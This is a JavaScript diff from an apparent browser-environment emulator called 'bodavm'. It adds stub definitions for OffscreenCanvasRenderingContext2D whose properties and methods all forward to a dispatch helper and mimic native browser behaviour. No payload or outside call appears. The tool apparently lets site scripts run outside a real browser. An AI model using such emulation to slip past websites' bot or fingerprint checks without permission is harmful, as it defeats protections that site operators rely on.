-bodavm.toolsFunc.defineProperty('DOMMatrix', "setMatrixValue", {configurable:true, enumerable:true, writable:true, value:function setMatrixValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "setMatrixValue", arguments)}},'prototype'); - -// MediaStream对象 +// OffscreenCanvasRenderingContext2D对象 + +bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'] = function OffscreenCanvasRenderingContext2D() { + console.log_copy('OffscreenCanvasRenderingContext2D 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OffscreenCanvasRenderingContext2D)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'], "OffscreenCanvasRenderingContext2D"); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "canvas", { + configurable: true, + enumerable: true, + get: function canvas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "canvas_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "globalAlpha", { + configurable: true, + enumerable: true, + get: function globalAlpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalAlpha_get", arguments); + }, + set: function globalAlpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalAlpha_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "globalCompositeOperation", { + configurable: true, + enumerable: true, + get: function globalCompositeOperation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalCompositeOperation_get", arguments); + }, + set: function globalCompositeOperation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalCompositeOperation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "filter", { + configurable: true, + enumerable: true, + get: function filter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "filter_get", arguments); + }, + set: function filter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "filter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "imageSmoothingEnabled", { + configurable: true, + enumerable: true, + get: function imageSmoothingEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingEnabled_get", arguments); + }, + set: function imageSmoothingEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingEnabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "imageSmoothingQuality", { + configurable: true, + enumerable: true, + get: function imageSmoothingQuality() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingQuality_get", arguments); + }, + set: function imageSmoothingQuality() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingQuality_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeStyle", { + configurable: true, + enumerable: true, + get: function strokeStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeStyle_get", arguments); + }, + set: function strokeStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeStyle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillStyle", { + configurable: true, + enumerable: true, + get: function fillStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillStyle_get", arguments); + }, + set: function fillStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillStyle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowOffsetX", { + configurable: true, + enumerable: true, + get: function shadowOffsetX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetX_get", arguments); + }, + set: function shadowOffsetX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetX_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowOffsetY", { + configurable: true, + enumerable: true, + get: function shadowOffsetY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetY_get", arguments); + }, + set: function shadowOffsetY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetY_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowBlur", { + configurable: true, + enumerable: true, + get: function shadowBlur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowBlur_get", arguments); + }, + set: function shadowBlur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowBlur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowColor", { + configurable: true, + enumerable: true, + get: function shadowColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowColor_get", arguments); + }, + set: function shadowColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineWidth", { + configurable: true, + enumerable: true, + get: function lineWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineWidth_get", arguments); + }, + set: function lineWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineWidth_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineCap", { + configurable: true, + enumerable: true, + get: function lineCap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineCap_get", arguments); + }, + set: function lineCap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineCap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineJoin", { + configurable: true, + enumerable: true, + get: function lineJoin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineJoin_get", arguments); + }, + set: function lineJoin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineJoin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "miterLimit", { + configurable: true, + enumerable: true, + get: function miterLimit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "miterLimit_get", arguments); + }, + set: function miterLimit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "miterLimit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineDashOffset", { + configurable: true, + enumerable: true, + get: function lineDashOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineDashOffset_get", arguments); + }, + set: function lineDashOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineDashOffset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "font", { + configurable: true, + enumerable: true, + get: function font() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "font_get", arguments); + }, + set: function font() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "font_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textAlign", { + configurable: true, + enumerable: true, + get: function textAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textAlign_get", arguments); + }, + set: function textAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textAlign_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textBaseline", { + configurable: true, + enumerable: true, + get: function textBaseline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textBaseline_get", arguments); + }, + set: function textBaseline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textBaseline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "direction_get", arguments); + }, + set: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "direction_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontKerning", { + configurable: true, + enumerable: true, + get: function fontKerning() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontKerning_get", arguments); + }, + set: function fontKerning() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontKerning_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontStretch", { + configurable: true, + enumerable: true, + get: function fontStretch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontStretch_get", arguments); + }, + set: function fontStretch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontStretch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontVariantCaps", { + configurable: true, + enumerable: true, + get: function fontVariantCaps() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontVariantCaps_get", arguments); + }, + set: function fontVariantCaps() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontVariantCaps_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "letterSpacing", { + configurable: true, + enumerable: true, + get: function letterSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "letterSpacing_get", arguments); + }, + set: function letterSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "letterSpacing_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textRendering", { + configurable: true, + enumerable: true, + get: function textRendering() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textRendering_get", arguments); + }, + set: function textRendering() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textRendering_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "wordSpacing", { + configurable: true, + enumerable: true, + get: function wordSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "wordSpacing_get", arguments); + }, + set: function wordSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "wordSpacing_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "clip", { + configurable: true, + enumerable: true, + writable: true, + value: function clip() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "clip", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createConicGradient", { + configurable: true, + enumerable: true, + writable: true, + value: function createConicGradient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createConicGradient", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createImageData", { + configurable: true, + enumerable: true, + writable: true, + value: function createImageData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createImageData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createLinearGradient", { + configurable: true, + enumerable: true, + writable: true, + value: function createLinearGradient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createLinearGradient", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createPattern", { + configurable: true, + enumerable: true, + writable: true, + value: function createPattern() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createPattern", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createRadialGradient", { + configurable: true, + enumerable: true, + writable: true, + value: function createRadialGradient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createRadialGradient", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "drawImage", { + configurable: true, + enumerable: true, + writable: true, + value: function drawImage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "drawImage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fill", { + configurable: true, + enumerable: true, + writable: true, + value: function fill() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fill", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillText", { + configurable: true, + enumerable: true, + writable: true, + value: function fillText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getImageData", { + configurable: true, + enumerable: true, + writable: true, + value: function getImageData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getImageData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getLineDash", { + configurable: true, + enumerable: true, + writable: true, + value: function getLineDash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getLineDash", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function getTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isContextLost", { + configurable: true, + enumerable: true, + writable: true, + value: function isContextLost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isContextLost", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isPointInPath", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isPointInPath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isPointInStroke", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInStroke() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isPointInStroke", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "measureText", { + configurable: true, + enumerable: true, + writable: true, + value: function measureText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "measureText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "putImageData", { + configurable: true, + enumerable: true, + writable: true, + value: function putImageData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "putImageData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "roundRect", { + configurable: true, + enumerable: true, + writable: true, + value: function roundRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "roundRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "save", { + configurable: true, + enumerable: true, + writable: true, + value: function save() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "save", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "scale", { + configurable: true, + enumerable: true, + writable: true, + value: function scale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "scale", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "setLineDash", { + configurable: true, + enumerable: true, + writable: true, + value: function setLineDash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "setLineDash", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "setTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function setTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "setTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "stroke", { + configurable: true, + enumerable: true, + writable: true, + value: function stroke() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "stroke", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeText", { + configurable: true, + enumerable: true, + writable: true, + value: function strokeText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "transform", { + configurable: true, + enumerable: true, + writable: true, + value: function transform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "transform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "translate", { + configurable: true, + enumerable: true, + writable: true, + value: function translate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "translate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "arc", { + configurable: true, + enumerable: true, + writable: true, + value: function arc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "arc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "arcTo", { + configurable: true, + enumerable: true, + writable: true, + value: function arcTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "arcTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "beginPath", { + configurable: true, + enumerable: true, + writable: true, + value: function beginPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "beginPath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "bezierCurveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function bezierCurveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "bezierCurveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "clearRect", { + configurable: true, + enumerable: true, + writable: true, + value: function clearRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "clearRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "closePath", { + configurable: true, + enumerable: true, + writable: true, + value: function closePath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "closePath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "ellipse", { + configurable: true, + enumerable: true, + writable: true, + value: function ellipse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "ellipse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillRect", { + configurable: true, + enumerable: true, + writable: true, + value: function fillRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineTo", { + configurable: true, + enumerable: true, + writable: true, + value: function lineTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "moveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function moveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "moveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "quadraticCurveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function quadraticCurveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "quadraticCurveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "rect", { + configurable: true, + enumerable: true, + writable: true, + value: function rect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "rect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "resetTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function resetTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "resetTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "restore", { + configurable: true, + enumerable: true, + writable: true, + value: function restore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "restore", arguments); + } +}, 'prototype'); 